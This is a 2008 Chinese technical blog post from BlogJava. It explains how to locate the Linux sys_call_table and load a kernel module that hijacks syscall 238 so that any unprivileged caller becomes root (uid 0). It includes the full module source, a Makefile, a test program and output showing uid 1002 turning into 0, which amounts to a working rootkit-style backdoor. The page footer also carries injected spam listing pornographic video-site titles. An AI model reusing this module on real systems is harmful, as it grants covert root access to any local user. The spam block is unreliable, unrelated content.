Snowdream
posts - 403, comments - 310, trackbacks - 0, articles - 7
BlogJava
::
首頁(yè)
::
新隨筆
::
聯(lián)系
::
聚合
::
管理
Hacking the Kernel - 修改系統(tǒng)調(diào)用表
Posted on 2008-02-19 14:55
ZelluX
閱讀(754)
評(píng)論(0)
編輯
收藏
所屬分類:
Linux
、
System
昨天硬是沒(méi)找到正確的sys_call_table的地址,原來(lái)我之前在虛擬機(jī)上裝的ArchLinux是64位的。。
今天在真機(jī)上成功地修改了系統(tǒng)調(diào)用表。
測(cè)試環(huán)境:ArchLinux 2.6.24
1. 2.4.20以后的內(nèi)核出于安全考慮,沒(méi)有導(dǎo)出sys_call_table符號(hào),所以要先通過(guò)System.map找到sys_call_table的地址
$ cat /boot/System.map26 | grep sys_call_table
c0375680 R sys_call_table
另外也可以用nm工具獲得vmlinux中的所有符號(hào)
$ nm /usr/src/linux-2.6.24-ARCH/vmlinux | grep sys_call_table
結(jié)果一樣
2. 以添加一個(gè)把uid改成root(0)為例,寫(xiě)一個(gè)內(nèi)核模塊:
addcall.c
#include?
<
linux
/
kernel.h
>
#include?
<
linux
/
module.h
>
#include?
<
linux
/
init.h
>
#include?
<
linux
/
unistd.h
>
#include?
<
linux
/
time.h
>
#include?
<
asm
/
uaccess.h
>
#include?
<
linux
/
sched.h
>
#define
?__NR_changeuid?238
MODULE_DESCRIPTION(
"
Change?uid?to?0
"
);
MODULE_AUTHOR(
"
ZelluX
"
);
static
?
int
?(
*
saved)?(
void
);
void
?
**
?sys_call_table?
=
?
0xc0375680
;
asmlinkage?
int
?sys_changeuid(
void
)
{
????current
->
uid?
=
?current
->
euid?
=
?current
->
suid?
=
?current
->
fsuid?
=
?
0
;
????printk(KERN_ALERT?
"
uid?has?been?changed.
"
);
????
return
?
0
;
}
int
?__init?init_addsyscall(
void
)
{
????saved?
=
?(
int
?(
*
)?(
void
))?(sys_call_table[__NR_changeuid]);
????sys_call_table[__NR_changeuid]?
=
?(unsigned?
long
)?sys_changeuid;
????printk(KERN_ALERT?
"
the?call?has?been?added.
"
);
????
return
?
0
;
}
void
?__exit?exit_addsyscall(
void
)
{
????sys_call_table[__NR_changeuid]?
=
?(unsigned?
long
)?saved;
????printk(KERN_ALERT?
"
the?call?has?been?removed
"
);
}
module_init(init_addsyscall);
module_exit(exit_addsyscall);
對(duì)應(yīng)的Makefile:
ifneq?($(KERNELRELEASE)
,
)
????obj-m?:
=
?addcall.o
else
????KERNELDIR??
=
?/lib/modules/$(shell?uname?-r)/build
????PWD??:
=
?$(shell?pwd)
default:
????????$(MAKE)?-C?$(KERNELDIR)?M
=
$(PWD)?modules
endif
3. 使用insmod addcall.ko載入模塊后,用dmesg可以看到the call has been added.
4. 測(cè)試程序
test.c
#include?
<
linux
/
unistd.h
>
#include?
<
stdio.h
>
#define
?__NR_changeuid?238
int
?main()
{
????printf(
"
Previous?uid?=?%d\n
"
,?syscall(__NR_getuid));
????syscall(__NR_changeuid);
????printf(
"
Current?uid?=?%d\n
"
,?syscall(__NR_getuid));
????
return
?
0
;
}
使用gcc -o test test.c編譯
5. 運(yùn)行./test,即可看到類似的成功信息:
Previous uid = 1002
Current uid = 0
6. 卸載模塊rmmod addcall,此時(shí)再次運(yùn)行./test就會(huì)失敗
新用戶注冊(cè)
刷新評(píng)論列表
只有注冊(cè)用戶
登錄
后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航:
博客園
IT新聞
Chat2DB
C++博客
博問(wèn)
管理
相關(guān)文章:
PieTTY中按Ctrl+S導(dǎo)致掛起的問(wèn)題解決
Ubuntu 8.10 瀏覽網(wǎng)頁(yè)不穩(wěn)定的解決方法
上來(lái)bs下ctags 5.4
vim中.cpp的配置和c.vim中指定的一樣
讀核筆記(6) - 虛擬存儲(chǔ)
Patching CVE-2008-0600, Local Root Exploit
[zz]LKM Rootkits on Linux x86 v2.6
信號(hào)量使用例程
讀核筆記(5) - 共享內(nèi)存
Hacking the Kernel - 修改系統(tǒng)調(diào)用表
Powered by:
BlogJava
Copyright © ZelluX
日歷
<
2008年2月
>
日
一
二
三
四
五
六
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1
2
3
4
5
6
7
8
常用鏈接
我的隨筆
我的評(píng)論
我的參與
最新評(píng)論
留言簿
(21)
給我留言
查看公開(kāi)留言
查看私人留言
隨筆分類
(390)
Algorithm(57)
C/C++(39)
Courses(15)
Economics(2)
Laboratory(25)
Linux(47)
Mathematics(12)
OOP(89)
Scripting(19)
Security(3)
System(28)
Web(10)
書(shū)、電影、音樂(lè)(11)
其他(14)
點(diǎn)滴(19)
隨筆檔案
(389)
2009年12月 (1)
2009年4月 (1)
2009年3月 (4)
2009年2月 (2)
2009年1月 (2)
2008年11月 (1)
2008年10月 (9)
2008年9月 (1)
2008年7月 (2)
2008年6月 (4)
2008年5月 (12)
2008年4月 (18)
2008年3月 (7)
2008年2月 (33)
2008年1月 (19)
2007年12月 (8)
2007年11月 (14)
2007年10月 (24)
2007年9月 (18)
2007年8月 (28)
2007年7月 (33)
2007年6月 (26)
2007年5月 (30)
2007年4月 (92)
文章檔案
(7)
2007年7月 (2)
2007年5月 (4)
2007年4月 (1)
相冊(cè)
Illustration
15ers
jonathan的BLOG
Right There...
宙斯魚(yú)的小魚(yú)缸
小鮑的世界
簡(jiǎn)單幸福
逃遁的Persephone
阿繆爾的錦瑟
風(fēng)之語(yǔ)的BLOG
友情鏈接
(04CS) ljh
(05CS) 小菜虎的窩
(06CS) FreePeter
(06SS) Overboming
(06SS) Sherry
(06SS) 十指飛揚(yáng)
(06SS) 銀色子彈
luohandsome的專欄
平淡是真——啃啃不老閣
收藏夾
[ADN.cn]Library
Debian學(xué)習(xí)筆記
Dictionary of Algorithms and Data Structures
Gollum
Lex&Yacc
Max On Java
techInterview Discussion
核桃仁
程序員面試題精選100題
鐵手
搜索
積分與排名
積分 - 336589
排名 - 167
最新隨筆
1.?新博客
2.?慎用xen的make world...
3.?內(nèi)存模型相關(guān)的資料
4.?安全方面的經(jīng)典論文:A Logic of Authentication
5.?Lock-Free 算法的幾個(gè)鏈接
6.?10 Papers Every Programmer Should Read
7.?PieTTY中按Ctrl+S導(dǎo)致掛起的問(wèn)題解決
8.?Finding and Reproducing Heisenbugs in Concurrent Programs
9.?Ubuntu 8.10 瀏覽網(wǎng)頁(yè)不穩(wěn)定的解決方法
10.?[zz]蘇南經(jīng)濟(jì)模式興衰親歷記
最新評(píng)論
1.?re: C/C++中的序列點(diǎn)
說(shuō)的太好了,解決我長(zhǎng)久的困擾!
--除美滅日平韓
2.?re: 原來(lái)GCC是支持尾遞歸的遞推優(yōu)化的
評(píng)論內(nèi)容較長(zhǎng),點(diǎn)擊標(biāo)題查看
--darkhorse
3.?re: Arch下配置samba服務(wù)
我按照你的方法,安裝了SAMBA,但是 /etc/rc.d/samba start 啟動(dòng)不了samba服務(wù)。提示不存在這個(gè)文件或目錄的,怎么辦?
--zhangbear
4.?re: [zz]LKM Rootkits on Linux x86 v2.6
rhel 5 系列 安裝了 Xen 內(nèi)核, 怎么rootkit xen kernel 呢?
--消息
5.?re: CLRS 習(xí)題 16.2-6 部分背包問(wèn)題的O(n)算法
@ynnej
T(n)=2T(n/2)+O(n) 才是 nlgn 注意其中有一個(gè)2
--荒廢庭院
閱讀排行榜
1.?[zz]vim+ctags+taglist插件安裝使用(18313)
2.?memcpy函數(shù)代碼分析(9385)
3.?[zz]Zotero與Endnote的互相導(dǎo)入(8777)
4.?BNF 文法 (1) - 語(yǔ)法樹(shù) | 二義性的解決(8261)
5.?Java泛型中的? super T語(yǔ)法(6560)
評(píng)論排行榜
1.?C# 學(xué)習(xí)筆記 (1)(14)
2.?Windows - QQ、網(wǎng)頁(yè)Flash視頻無(wú)聲音的解決方法(14)
3.?URAL 1011(10)
4.?《編程之美》上的一道題目的討論(8)
5.?Singleton模式與雙檢測(cè)鎖定(DCL)(7)
主站蜘蛛池模板:
在线观看亚洲精品国产
|
一级毛片全部免费播放
|
毛片a级毛片免费播放下载
|
亚洲色大成网站www永久男同
|
国产精品视频永久免费播放
|
亚洲一级毛片免费在线观看
|
国产精品亚洲mnbav网站
|
国产精品99爱免费视频
|
国产亚洲精品a在线无码
|
无码日韩精品一区二区三区免费
|
久久亚洲一区二区
|
久久午夜夜伦鲁鲁片免费无码影视
|
两个人看www免费视频
|
亚洲处破女AV日韩精品
|
99re6在线精品视频免费播放
|
亚洲黄色在线视频
|
我想看一级毛片免费的
|
337P日本欧洲亚洲大胆艺术图
|
亚洲人成网站18禁止一区
|
中国内地毛片免费高清
|
亚洲另类激情综合偷自拍
|
最新欧洲大片免费在线
|
苍井空亚洲精品AA片在线播放
|
亚洲人成网77777色在线播放
|
最近中文字幕电影大全免费版
|
国产亚洲sss在线播放
|
日韩亚洲国产综合久久久
|
国产在线观看免费视频软件
|
美女扒开尿口给男人爽免费视频
|
国产偷国产偷亚洲清高动态图
|
1000部拍拍拍18勿入免费凤凰福利
|
亚洲精品宾馆在线精品酒店
|
国产亚洲精品精品国产亚洲综合
|
无码午夜成人1000部免费视频
|
亚洲精品日韩一区二区小说
|
自拍偷自拍亚洲精品被多人伦好爽
|
美女内射毛片在线看免费人动物
|
精品亚洲视频在线
|
亚洲精品福利网泷泽萝拉
|
亚洲AV无码乱码精品国产
|
7723日本高清完整版免费
|